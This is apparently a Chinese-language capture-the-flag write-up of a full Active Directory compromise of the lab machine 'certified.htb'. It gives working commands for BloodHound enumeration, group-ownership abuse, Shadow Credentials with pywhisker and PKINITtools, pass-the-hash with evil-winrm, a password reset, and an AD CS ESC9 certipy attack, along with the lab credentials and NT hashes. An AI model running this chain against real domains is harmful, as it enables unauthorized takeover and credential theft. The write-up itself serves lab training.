Before all
Victim’s IP : 10.10.11.37
Victim’s Host : *.certified.htb
Attacker’s IP : 10.10.11.41
Initial Credential : judith.mader/judith09
RECON
port scan
Command
1 | rustscan -a 10.10.11.41 --ulimit 5000 -- -sC -sV -Pn |
Result
1 | Open 10.10.11.41:53 |
標準地 AD 靶機,開了ldap, smb, kerberos, winrpc
bloodhound
Command
1 | bloodhound-python -c All -u 'judith.mader' -p 'judith09' -d certified.htb -ns 10.10.11.41 --zip |
開neo4j
後丟bloodhound
,有一條赤裸裸的攻擊鍊就出來ㄌ
judith.mader
-> (GenericWrite) -> Manager Group
-> (GenericWrite) -> management_svc
Exploit
GenericWrite to Group
對 Group 的 Generic Write 攻擊思路是:
將自己寫為那個 Group 的 Owner -> 寫入 WriteMembers 權限給自己 -> 把自己加入那個 Group
1 |
|
最後確認一下自己已經在 Group 裡面
1 | net rpc group members "Management" -U "certified.htb"/"judith.mader"%"judith09" -S "DC01.certified.htb" |
Result
1 | CERTIFIED\management_svc |
GenericWrite to User (Shadow Credential)
先用 pywhisker
Command
1 | pywhisker -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add" |
接著從前一台學到的,先用了targetedKerberoast.py
,也確實可以拿到TGT,但爆破不了密碼…
一樣,如果遇到問題就同步時間
1 | sudo su |
改成使用 PKINITtools
利用前面建立的 pfx 檔案與 gettgtpkinit.py 從 TGT 獲取 AS-REP 的密鑰,最後再用 getnthash.py 結合 AS-REP key 撈 NT HASH
1 | python3 gettgtpkinit.py certified.htb/management_svc -cert-pfx R2D0pSI0.pfx -pfx-pass 'u8Fz4h1NP1eVJw5SoDQo' management_svc.ccache |
Result
1 | [*] Using TGT from cache |
Pass The Hash
Keberos 版本過舊,一般 user 也可以 NT hash 過驗證
1 | evil-winrm -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584' -i 10.10.11.41 |
Privilege Escalation
ca_operator
用 bloodhound 繼續追,首先可以發現 management_svc 對 ca_operator 有 GenericAll…
在 evil-winrm 的 shell 直接幫他換密碼XD
1 | net user ca_operator Whale120 |
AD CS ESC9
利用 certipy 進行針對 CS (憑證服務) 進行 RECON
1 | certipy-ad find -u [email protected] -p judith09 -dc-ip 10.10.11.41 |
注意到 Enrollment Flag 有 NoSecurityExtension 的設定,適用於 ESC9 的攻擊方案
具體流程是透過 GenericWrite 寫入 ca_operator 的 upn,再透過申請憑證的方法獲得 Admin 的 NTLM HASH
Command
1 | certipy-ad account update -username '[email protected]' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user ca_operator -upn 'Administrator' |
Result
1 | Certipy v4.8.2 - by Oliver Lyak (ly4k) |
最後再針對 Administrator 進行一次 Pass The Hash 即可
1 | evil-winrm -u 'Administrator' -H '0d5b49608bbce1751f708748f67e2d34' -i 10.10.11.41 |
PWNED!!